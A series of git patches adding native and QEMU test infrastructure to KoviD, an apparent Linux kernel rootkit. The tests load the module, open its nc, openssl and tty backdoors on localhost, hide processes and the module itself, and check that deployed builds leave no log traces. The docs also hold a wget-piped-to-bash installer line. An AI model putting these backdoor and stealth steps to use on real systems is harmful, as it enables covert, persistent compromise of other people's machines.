features/no-kovid-found.test | -| Hide/Unhide Module Test in DEBUG Mode | Yes | features/hide-unhide-module.test | -| backdoor (nc) | Yes | backdoors/nc-backdoor{_host}.test | +| No tainted messages/log appear in DEPLOY | Yes | cross/no-kovid-logs-in-deploy.test | +| kovid (DEPLOY) doesn't appear in /var /sys etc. | Yes | cross/no-kovid-found.test | +| Hide/Unhide Module Test in DEBUG Mode | Yes | cross/hide-unhide-module.test | +| backdoor (nc) | Yes | complex/nc-hide-pid{_host}.test | From a636281e47b2e59150c957b4fbe8f3d2b57515fe Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 19 Nov 2024 14:47:38 +0100 Subject: [PATCH 13/23] tests: Add in docs -DCROSS_TESTS=ON And fix some cross/complex tests that run on QEMU --- docs/TestFeatures.md | 4 ++-- test/Artefacts/qemu-runner.sh | 4 ++-- test/complex/nc-pid-hide.test | 2 +- test/complex/nc-pid-hide_host.test | 2 +- test/lit.cfg.py | 5 +++++ test/lit.site.cfg.py.in | 1 + 6 files changed, 12 insertions(+), 6 deletions(-) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index e81b0c5..18223d1 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -174,7 +174,7 @@ Run tests: ``` $ cd KoviD && mkdir build && cd build -$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCROSS_TESTS=ON -DCMAKE_C_COMPILER=gcc $ make PROCNAME="myprocname" $ make check-kovid ``` @@ -182,7 +182,7 @@ $ make check-kovid Run tests in `DEPLOY` mode (some tests are run in this mode only): ``` -$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc -DDEPLOY=1 +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCROSS_TESTS=ON -DCMAKE_C_COMPILER=gcc -DDEPLOY=1 $ make PROCNAME="myprocname" DEPLOY=1 $ make check-kovid ``` diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index b89cf29..213b22f 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -339,7 +339,7 @@ echo "==============================" execute_regular_tests "$TEST_DIR" # Execute Complex Tests -echo "==============================" +echo "=======================================" echo "Starting Complex Tests on QEMU and host" -echo "==============================" +echo "=======================================" execute_backdoor_tests "$TEST_COMPLEX_DIR" diff --git a/test/complex/nc-pid-hide.test b/test/complex/nc-pid-hide.test index c45031c..9b55790 100644 --- a/test/complex/nc-pid-hide.test +++ b/test/complex/nc-pid-hide.test @@ -1,7 +1,7 @@ # REQUIRES: DEBUG_ONLY # REQUIRES: CROSS_TESTS -# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor.log %s +# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-pid-hide.log %s # CHECK: Starting backdoor listener on port 9999 # CHECK: PID of nc is diff --git a/test/complex/nc-pid-hide_host.test b/test/complex/nc-pid-hide_host.test index e80f972..962cb79 100644 --- a/test/complex/nc-pid-hide_host.test +++ b/test/complex/nc-pid-hide_host.test @@ -1,7 +1,7 @@ # REQUIRES: DEBUG_ONLY # REQUIRES: CROSS_TESTS -# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-backdoor_host.log %s +# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-pid-hide_host.log %s # CHECK: Connecting to backdoor at localhost:9999... # CHECK: Sending command: ps -a diff --git a/test/lit.cfg.py b/test/lit.cfg.py index cdcc249..4aa4e0e 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -54,3 +54,8 @@ config.available_features.add('DEPLOY_ONLY') else: config.available_features.add('DEBUG_ONLY') + +if config.cross_tests == '1': + config.available_features.add('CROSS_TESTS') +else: + config.available_features.add('CROSS_TESTS') diff --git a/test/lit.site.cfg.py.in b/test/lit.site.cfg.py.in index c2c7bb1..42c8957 100644 --- a/test/lit.site.cfg.py.in +++ b/test/lit.site.cfg.py.in @@ -2,6 +2,7 @@ config.kovid_obj_root= "@CMAKE_BINARY_DIR@/" config.deploy_tests= "@DEPLOY@" +config.cross_tests= "@CROSS_TESTS@" import lit.llvm lit.llvm.initialize(lit_config, config) From 71c578a370bce72cff6bd20fdc469ea823567413 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 19 Nov 2024 14:56:03 +0100 Subject: [PATCH 14/23] test: Fix lit.cfg.py --- test/lit.cfg.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/test/lit.cfg.py b/test/lit.cfg.py index 4aa4e0e..32a2d61 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -57,5 +57,3 @@ if config.cross_tests == '1': config.available_features.add('CROSS_TESTS') -else: - config.available_features.add('CROSS_TESTS') From 7b0f18c063ca7aa44d098166c7862444d66cac53 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 19 Nov 2024 17:02:28 +0100 Subject: [PATCH 15/23] test: Fix cross tests - use ON --- test/lit.cfg.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/lit.cfg.py b/test/lit.cfg.py index 32a2d61..77a0b6e 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -55,5 +55,5 @@ else: config.available_features.add('DEBUG_ONLY') -if config.cross_tests == '1': +if config.cross_tests == 'ON': config.available_features.add('CROSS_TESTS') From 29178c1c69a5abb73a8b8964fe665a188cdfd25d Mon Sep 17 00:00:00 2001 From: djtodoro Date: Wed, 20 Nov 2024 11:49:12 +0100 Subject: [PATCH 16/23] test: Add nc backdoor test --- CMakeLists.txt | 12 +++++++++++- test/lit.cfg.py | 2 ++ test/lit.site.cfg.py.in | 1 + test/native/nc-backdoor.test | 20 ++++++++++++++++++++ 4 files changed, 34 insertions(+), 1 deletion(-) create mode 100644 test/native/nc-backdoor.test diff --git a/CMakeLists.txt b/CMakeLists.txt index 4cd71b1..8f29bcb 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -38,10 +38,12 @@ execute_process( ) # Step 6: Define Build Options -option(DEPLOY "Turn off ring buffer debug" OFF) +option(DEPLOY "Build in Deploy mode" OFF) +option(DEBUG "Build in Debug mode " OFF) if(NOT DEPLOY) set(DEBUG_PR -DDEBUG_RING_BUFFER) + set(DEBUG ON CACHE BOOL "Build in Debug mode" FORCE) endif() # Cross tests are the ones we run on qemu. @@ -49,15 +51,23 @@ endif() # since we support linux 5.10 only for this kind of tests. option(CROSS_TESTS "Turn ON cross tests on qemu" OFF) +option(NATIVE_TESTS "Turn ON native tests" OFF) + # Check if KOVID_LINUX and KERNEL_DIR variables are set if(DEFINED KOVID_LINUX AND "${KOVID_LINUX}" STREQUAL "5.10" AND DEFINED KERNEL_DIR AND NOT "${KERNEL_DIR}" STREQUAL "") set(CROSS_TESTS ON CACHE BOOL "Turn ON cross tests on qemu" FORCE) +else() + set(NATIVE_TESTS ON CACHE BOOL "Turn ON native tests" FORCE) endif() # Print status messages to verify settings message(STATUS "KOVID_LINUX: ${KOVID_LINUX}") message(STATUS "KERNEL_DIR: ${KERNEL_DIR}") message(STATUS "CROSS_TESTS: ${CROSS_TESTS}") +message(STATUS "NATIVE_TESTS: ${NATIVE_TESTS}") + +message(STATUS "DEPLOY build: ${DEPLOY}") +message(STATUS "DEBUG build: ${DEBUG}") # Define COMPILER_OPTIONS as a list set(COMPILER_OPTIONS diff --git a/test/lit.cfg.py b/test/lit.cfg.py index 77a0b6e..dae3f95 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -57,3 +57,5 @@ if config.cross_tests == 'ON': config.available_features.add('CROSS_TESTS') +if config.native_tests == 'ON': + config.available_features.add('NATIVE_TESTS') diff --git a/test/lit.site.cfg.py.in b/test/lit.site.cfg.py.in index 42c8957..70170cc 100644 --- a/test/lit.site.cfg.py.in +++ b/test/lit.site.cfg.py.in @@ -3,6 +3,7 @@ config.kovid_obj_root= "@CMAKE_BINARY_DIR@/" config.deploy_tests= "@DEPLOY@" config.cross_tests= "@CROSS_TESTS@" +config.native_tests= "@NATIVE_TESTS@" import lit.llvm lit.llvm.initialize(lit_config, config) diff --git a/test/native/nc-backdoor.test b/test/native/nc-backdoor.test new file mode 100644 index 0000000..cc13663 --- /dev/null +++ b/test/native/nc-backdoor.test @@ -0,0 +1,20 @@ +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 < /dev/null +sudo rmmod kovid +dmesg + +# CHECK: kv: using kprobe for kallsyms_lookup_name +# CHECK: Waiting for event +# CHECK: loaded +# CHECK: Got event +# CHECK: hide [{{.*}}] sh : {{.*}} +# CHECK: hide [{{.*}}] bash : {{.*}} +# CHECK: Got event +# CHECK: unloaded From 8e253b2d8afe1dfca4a95d4222af36ce0fe6e454 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Wed, 20 Nov 2024 14:36:30 +0100 Subject: [PATCH 17/23] test: Improve doc and native tests --- docs/TestFeatures.md | 224 +++++++++++++++++++---------- test/native/nc-backdoor.test | 7 +- test/native/simple-insmod-lkm.test | 17 +++ 3 files changed, 169 insertions(+), 79 deletions(-) create mode 100644 test/native/simple-insmod-lkm.test diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 18223d1..d92afb7 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -1,74 +1,13 @@ -# Manual testing of KoviD features +# Testing of KoviD LKM This document describes the process of testing the features of Kovid LKM. -Please see `docs/QEMUSetupForTesting.md` that contains info for qemu setup. -## Insall dependecies +The tests are located in the `test/` directory of the project and are divided into two main categories: -``` -$ sudo apt install cmake -$ sudo apt install g++ -``` - -Please make sure to install llvm-tools, since we will be using some of the tools for testing infrastructure: - -``` -sudo apt-get install llvm-18-dev -sudo apt-get install llvm-18-tools -sudo apt install python3-pip -sudo apt-get install libslirp-dev -sudo apt-get install qemu-system-x86 -sudo apt install netcat nmap -sudo apt-get -y install socat -``` - -On an older Ubuntu, follow https://apt.llvm.org/. -For example: +1. Native Tests (`test/native`) +2. Cross Tests -``` -$ sudo bash -c "$(wget -O - https://apt.llvm.org/llvm.sh)" -``` - -If you do not have `llvm-lit` installed, do: - -``` -$ pip3 install lit -$ sudo ln -s ~/.local/bin/lit /usr/bin/llvm-lit -$ which llvm-lit -/usr/bin/llvm-lit -``` - -## Fetch LFS and submodules - -``` -$ git fetch --recurse-submodules -``` -or: - -``` -$ git submodule update --remote --recursive -``` - -LFS should be fetched: - -``` -$ git lfs fetch --all -``` - -Usual set of commands to be used: - -``` -$ git clone https://github.com/carloslack/KoviD.git main-KoviD && cd main-KoviD -$ git submodule update --init test/test-artefacts -$ mkdir build && cd build -$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" && make check-kovid -``` - -Or if you do not want to use custom Linux build: - -``` -$ cmake ../ -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" && make check-kovid -``` +We will cover host to build the project first and then describe the testing infrastructure. ## Build KoviD @@ -97,7 +36,15 @@ NOTE: You can customize it: $ cmake -DPROCNAME=myproc -DMODNAME=mymodule ../ ``` -### Building for Linux version other than native +If you want to build and run native tests only, just use: + +``` +$ cmake ../ -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" +``` + +## Building for Linux version other than native + +This is needed if you want to run cross tests, or if you want to "cross" compile the LKM for a Linux version that is different than the one you run on your PC. ``` $ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 @@ -155,31 +102,155 @@ $ make *** ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name". Stop. ``` -### How to Write tests? +## Native Tests (`test/native`) + + These tests run natively on the host system without the need for emulation or virtualization. + They verify the functionality of the LKM in the environment where it is developed, ensuring compatibility and stability on the host system. + To simply run those (but make sure you followed the instructions for setting the enviroment described below): + + ``` + # From root directory of the project + $ mkdir build && cd build + $ cmake ../ -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" + # Please run the command with only one Thread! + $ make check-kovid -j1 + ``` + +## Cross Tests + +These tests run on a QEMU emulator, allowing testing on different Linux kernel versions or architectures. +Subcategories: +1. Simple Cross Tests (`test/cross`): + Run entirely within the QEMU guest environment. + Essential for validating the LKM in a controlled setting that simulates different kernel versions. +2. Complex Cross Tests (`test/complex`): + Partially run on QEMU and partially on the host system. + Designed to test the interaction between the guest and host environments, ensuring proper communication and handshake in various scenarios. + +### Importance of Cross Tests + +Cross tests are crucial when you need to compile and test the LKM for a Linux version that is different from the one used on your host PC. They provide the infrastructure for both the compilation and testing of such Linux versions. This is particularly important for: + + 1. Compatibility Testing: Ensuring that the LKM works correctly across different kernel versions. + 2. Regression Testing: Identifying any issues that may arise when the module is used in environments other than the development system. + +### Test Artifacts + +Currently, the project supports testing with Linux kernel version 5.10. The necessary test artifacts, including the Linux image and root filesystem (rootfs), are provided as a git submodule. These artifacts are located in the test/test-artefacts/ directory. +Benefits of Using Test Artifacts + + Consistency: Provides a standardized environment for testing, leading to reproducible results. + Convenience: Simplifies the setup process, as the required images and files are readily available within the project structure. + +Setting Up the Tests + +To get started with testing: + + Initialize Submodules: Ensure that all submodules are initialized and updated to obtain the test artifacts. + Use the command: git submodule update --init --recursive. + + Configure the Build Environment: + Specify the desired kernel version. + Provide the path to the kernel headers if necessary. + + Running Native Tests: + Navigate to the test/native directory. + Execute the test scripts as needed. + + Running Cross Tests: + For simple cross tests, navigate to test/cross and follow the provided instructions. + For complex cross tests, navigate to test/complex and ensure both guest and host components are properly configured. + + +### Fetch LFS and submodules + +``` +$ git fetch --recurse-submodules +``` +or: + +``` +$ git submodule update --remote --recursive +``` + +LFS should be fetched: + +``` +$ git lfs fetch --all +``` + +Usual set of commands to be used: + +``` +$ git clone https://github.com/carloslack/KoviD.git main-KoviD && cd main-KoviD +$ git submodule update --init test/test-artefacts +$ mkdir build && cd build +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc && make PROCNAME="myprocname" && make check-kovid +``` + +## Insall dependecies and set up enviroment + +``` +$ sudo apt install cmake +$ sudo apt install g++ +``` + +Please make sure to install llvm-tools, since we will be using some of the tools for testing infrastructure: + +``` +sudo apt-get install llvm-18-dev +sudo apt-get install llvm-18-tools +sudo apt install python3-pip +sudo apt-get install libslirp-dev +sudo apt-get install qemu-system-x86 +sudo apt install netcat nmap +sudo apt-get -y install socat +``` + +On an older Ubuntu, follow https://apt.llvm.org/. +For example: + +``` +$ sudo bash -c "$(wget -O - https://apt.llvm.org/llvm.sh)" +``` + +If you do not have `llvm-lit` installed, do: + +``` +$ pip3 install lit +$ sudo ln -s ~/.local/bin/lit /usr/bin/llvm-lit +$ which llvm-lit +/usr/bin/llvm-lit +``` + +## How to Write tests? + +### Cross (marker `CROSS_TESTS`) Each test consists of a pair of files: 1) Bash Script (.sh file): A shell script that will be transferred to QEMU. It contains the set of commands we want to test. 2) Expected Output (.test file): A file that contains the expected output for the test, which we use to verify that our feature is working as intended. -Test Markers: +### Native (marker `NATIVE_TESTS`) + +This type of tests consists only one `.test` file, that contains both `bash` commands and expected output to check against. + +### Additional test Markers - Deploy Mode Tests (# REQUIRES: DEPLOY_ONLY): Some tests are run only when the Loadable Kernel Module (LKM) is built in deploy mode. These tests have a .test file marked with # DEPLOY_ONLY at the top. - Debug Mode Tests (# REQUIRES: DEBUG_ONLY): Tests that should only run in debug mode are marked with # DEBUG_ONLY in their .test files. - If a test does not have any of these marker, it will be run in each mode. -### Run tests +## Run tests Run tests: ``` -$ cd KoviD && mkdir build && cd build -$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCROSS_TESTS=ON -DCMAKE_C_COMPILER=gcc -$ make PROCNAME="myprocname" -$ make check-kovid +$ make check-kovid -j1 ``` -Run tests in `DEPLOY` mode (some tests are run in this mode only): +Run tests in `DEPLOY` mode (some tests are run in this mode only; this is example for `cross` tests): ``` $ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCROSS_TESTS=ON -DCMAKE_C_COMPILER=gcc -DDEPLOY=1 @@ -214,4 +285,5 @@ NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should co | No tainted messages/log appear in DEPLOY | Yes | cross/no-kovid-logs-in-deploy.test | | kovid (DEPLOY) doesn't appear in /var /sys etc. | Yes | cross/no-kovid-found.test | | Hide/Unhide Module Test in DEBUG Mode | Yes | cross/hide-unhide-module.test | -| backdoor (nc) | Yes | complex/nc-hide-pid{_host}.test | +| Hide nc process | Yes | complex/nc-hide-pid{_host}.test | +| nc backdoor | Yes | native/nc-backdoor.test | diff --git a/test/native/nc-backdoor.test b/test/native/nc-backdoor.test index cc13663..fd555d9 100644 --- a/test/native/nc-backdoor.test +++ b/test/native/nc-backdoor.test @@ -5,8 +5,9 @@ # RUN: FileCheck-18 --input-file=%t.log %s sudo dmesg -c +sleep 10 sudo insmod ../../../build/kovid.ko -sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 < /dev/null +sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 sudo rmmod kovid dmesg @@ -14,7 +15,7 @@ dmesg # CHECK: Waiting for event # CHECK: loaded # CHECK: Got event -# CHECK: hide [{{.*}}] sh : {{.*}} -# CHECK: hide [{{.*}}] bash : {{.*}} +# CHECK: hide [{{.*}}] {{.*}} +# CHECK: hide [{{.*}}] {{.*}} # CHECK: Got event # CHECK: unloaded diff --git a/test/native/simple-insmod-lkm.test b/test/native/simple-insmod-lkm.test new file mode 100644 index 0000000..6e821f1 --- /dev/null +++ b/test/native/simple-insmod-lkm.test @@ -0,0 +1,17 @@ +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 10 +sudo insmod ../../../build/kovid.ko +sudo rmmod kovid +dmesg + +# CHECK: kv: using kprobe for kallsyms_lookup_name +# CHECK: Waiting for event +# CHECK: loaded +# CHECK: Got event +# CHECK: unloaded From 8a067753af932c5c468dde1a7c107f53f7223886 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Wed, 20 Nov 2024 14:38:57 +0100 Subject: [PATCH 18/23] docs: Add more info --- docs/TestFeatures.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index d92afb7..f884e26 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -116,6 +116,8 @@ $ make $ make check-kovid -j1 ``` +NOTE: You will be asked for `sudo` password. + ## Cross Tests These tests run on a QEMU emulator, allowing testing on different Linux kernel versions or architectures. @@ -244,7 +246,7 @@ This type of tests consists only one `.test` file, that contains both `bash` com ## Run tests -Run tests: +Run tests (for `native` tests, you will be asked for `sudo` password): ``` $ make check-kovid -j1 From 2cf576a733e3e060b7e0628a41acd80429a67a7b Mon Sep 17 00:00:00 2001 From: djtodoro Date: Wed, 20 Nov 2024 16:14:04 +0100 Subject: [PATCH 19/23] test: Add tty test --- docs/TestFeatures.md | 2 ++ test/native/openssl-backdoor.test | 15 +++++++++++++++ test/native/simple-insmod-lkm.test | 1 + test/native/tty-backdoor.test | 22 ++++++++++++++++++++++ 4 files changed, 40 insertions(+) create mode 100644 test/native/openssl-backdoor.test create mode 100644 test/native/tty-backdoor.test diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index f884e26..f3ace38 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -289,3 +289,5 @@ NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should co | Hide/Unhide Module Test in DEBUG Mode | Yes | cross/hide-unhide-module.test | | Hide nc process | Yes | complex/nc-hide-pid{_host}.test | | nc backdoor | Yes | native/nc-backdoor.test | +| openssl backdoor | Yes | native/openssl-backdoor.test | +| tty backdoor | Yes | native/tty-backdoor.test | diff --git a/test/native/openssl-backdoor.test b/test/native/openssl-backdoor.test new file mode 100644 index 0000000..12fd86a --- /dev/null +++ b/test/native/openssl-backdoor.test @@ -0,0 +1,15 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 20 +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh openssl localhost 9999 +sudo rmmod kovid +dmesg + +# CHECK: hide [{{.*}}] openssl {{.*}} diff --git a/test/native/simple-insmod-lkm.test b/test/native/simple-insmod-lkm.test index 6e821f1..bf1aa9e 100644 --- a/test/native/simple-insmod-lkm.test +++ b/test/native/simple-insmod-lkm.test @@ -1,3 +1,4 @@ +# REQUIRES: 0 # REQUIRES: DEBUG_ONLY # REQUIRES: NATIVE_TESTS diff --git a/test/native/tty-backdoor.test b/test/native/tty-backdoor.test new file mode 100644 index 0000000..7b282e4 --- /dev/null +++ b/test/native/tty-backdoor.test @@ -0,0 +1,22 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 20 +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh tty localhost 9999 +sudo rmmod kovid +dmesg + +# CHECK: Got event +# CHECK: hide {{.*}} tail : {{.*}} +# CHECK: hide {{.*}} socat : {{.*}} +# CHECK: Waiting for event +# CHECK: Got event +# CHECK: Waiting for event +# CHECK: unhide {{.*}} tail : {{.*}} +# CHECK: unhide {{.*}} socat : {{.*}} From 74c1444369c31a12c88a8df9c66e298530f84392 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Wed, 20 Nov 2024 18:00:46 +0100 Subject: [PATCH 20/23] test: Fix default for NATIVE tests --- CMakeLists.txt | 5 ++--- test/lit.cfg.py | 1 + 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 8f29bcb..2cbcb79 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -51,13 +51,12 @@ endif() # since we support linux 5.10 only for this kind of tests. option(CROSS_TESTS "Turn ON cross tests on qemu" OFF) -option(NATIVE_TESTS "Turn ON native tests" OFF) +option(NATIVE_TESTS "Turn ON native tests" ON) # Check if KOVID_LINUX and KERNEL_DIR variables are set if(DEFINED KOVID_LINUX AND "${KOVID_LINUX}" STREQUAL "5.10" AND DEFINED KERNEL_DIR AND NOT "${KERNEL_DIR}" STREQUAL "") set(CROSS_TESTS ON CACHE BOOL "Turn ON cross tests on qemu" FORCE) -else() - set(NATIVE_TESTS ON CACHE BOOL "Turn ON native tests" FORCE) + set(NATIVE_TESTS ON CACHE BOOL "Turn OFF native tests" FORCE) endif() # Print status messages to verify settings diff --git a/test/lit.cfg.py b/test/lit.cfg.py index dae3f95..571f6f2 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -57,5 +57,6 @@ if config.cross_tests == 'ON': config.available_features.add('CROSS_TESTS') + if config.native_tests == 'ON': config.available_features.add('NATIVE_TESTS') From f4685c487db3915536c138a211c9640b5b630fab Mon Sep 17 00:00:00 2001 From: djtodoro Date: Thu, 21 Nov 2024 18:52:19 +0100 Subject: [PATCH 21/23] test: Enable openssl backdoor test --- test/native/openssl-backdoor.test | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/test/native/openssl-backdoor.test b/test/native/openssl-backdoor.test index 12fd86a..4954880 100644 --- a/test/native/openssl-backdoor.test +++ b/test/native/openssl-backdoor.test @@ -1,15 +1,14 @@ -# REQUIRES: 0 # REQUIRES: DEBUG_ONLY # REQUIRES: NATIVE_TESTS # RUN: bash %s > %t.log # RUN: FileCheck-18 --input-file=%t.log %s -sudo dmesg -c -sleep 20 sudo insmod ../../../build/kovid.ko sudo timeout 10 ../../../scripts/bdclient.sh openssl localhost 9999 sudo rmmod kovid -dmesg -# CHECK: hide [{{.*}}] openssl {{.*}} +# CHECK: ACCEPT +# CHECK: DONE +# CHECK: shutting down SSL +# CHECK: CONNECTION CLOSED From 3ac3920a84f15612f1457a860b7825752f8fbb93 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Fri, 22 Nov 2024 12:27:58 +0100 Subject: [PATCH 22/23] tests: Add more tests --- docs/TestFeatures.md | 15 +++++++++++++++ test/native/hide-unhide-module.test | 16 ++++++++++++++++ test/native/nc-backdoor-echo-s.test | 25 +++++++++++++++++++++++++ test/native/openssl-backdoor.test | 1 + 4 files changed, 57 insertions(+) create mode 100644 test/native/hide-unhide-module.test create mode 100644 test/native/nc-backdoor-echo-s.test diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index f3ace38..fc533eb 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -225,6 +225,19 @@ $ which llvm-lit /usr/bin/llvm-lit ``` +NOTE: Make sure you set up `openssl` before running tests. + +## Some potential issues + +On Ubuntu 20.04, if you see: + +``` +$ sudo scripts/bdclient.sh nc localhost 9999 +nc: getnameinfo: Temporary failure in name resolution +``` + +Just fix DNS server, e.g. by adding `0.0.0.0 localhost` into `/etc/hosts`. + ## How to Write tests? ### Cross (marker `CROSS_TESTS`) @@ -291,3 +304,5 @@ NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should co | nc backdoor | Yes | native/nc-backdoor.test | | openssl backdoor | Yes | native/openssl-backdoor.test | | tty backdoor | Yes | native/tty-backdoor.test | +| backdoor echo -s | Yes | native/nc-backdoor-echo-s.test | +| Hide/Unhide Module | Yes | native/hide-unhide-module.test | diff --git a/test/native/hide-unhide-module.test b/test/native/hide-unhide-module.test new file mode 100644 index 0000000..59ed72e --- /dev/null +++ b/test/native/hide-unhide-module.test @@ -0,0 +1,16 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sleep 10 +sudo insmod ../../../build/kovid.ko +lsmod | grep kovid +echo -h > /proc/myprocname +lsmod | grep kovid +sudo rmmod kovid + +# CHECK: kovid +# CHECK-NOT: kovid diff --git a/test/native/nc-backdoor-echo-s.test b/test/native/nc-backdoor-echo-s.test new file mode 100644 index 0000000..0540c26 --- /dev/null +++ b/test/native/nc-backdoor-echo-s.test @@ -0,0 +1,25 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 10 +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 +echo -s > /proc/myprocname +sudo rmmod kovid +dmesg + +# CHECK: kv: using kprobe for kallsyms_lookup_name +# CHECK: Waiting for event +# CHECK: loaded +# CHECK: Got event +# CHECK: hide [{{.*}}] {{.*}} +# CHECK: hide [{{.*}}] {{.*}} +# CHECK: BD : dash +# CHECK: BD : bash +# CHECK: Got event +# CHECK: unloaded diff --git a/test/native/openssl-backdoor.test b/test/native/openssl-backdoor.test index 4954880..5ab43bd 100644 --- a/test/native/openssl-backdoor.test +++ b/test/native/openssl-backdoor.test @@ -1,3 +1,4 @@ +# REQUIRES: 0 # REQUIRES: DEBUG_ONLY # REQUIRES: NATIVE_TESTS From 8edafff55bf2b69aff9bada0961e6f41a1c4c6c1 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Fri, 22 Nov 2024 18:11:28 +0100 Subject: [PATCH 23/23] test: Use dmesg as sudo --- test/native/nc-backdoor-echo-s.test | 2 +- test/native/nc-backdoor.test | 2 +- test/native/simple-insmod-lkm.test | 2 +- test/native/tty-backdoor.test | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/test/native/nc-backdoor-echo-s.test b/test/native/nc-backdoor-echo-s.test index 0540c26..d983f4e 100644 --- a/test/native/nc-backdoor-echo-s.test +++ b/test/native/nc-backdoor-echo-s.test @@ -11,7 +11,7 @@ sudo insmod ../../../build/kovid.ko sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 echo -s > /proc/myprocname sudo rmmod kovid -dmesg +sudo dmesg # CHECK: kv: using kprobe for kallsyms_lookup_name # CHECK: Waiting for event diff --git a/test/native/nc-backdoor.test b/test/native/nc-backdoor.test index fd555d9..0f27278 100644 --- a/test/native/nc-backdoor.test +++ b/test/native/nc-backdoor.test @@ -9,7 +9,7 @@ sleep 10 sudo insmod ../../../build/kovid.ko sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 sudo rmmod kovid -dmesg +sudo dmesg # 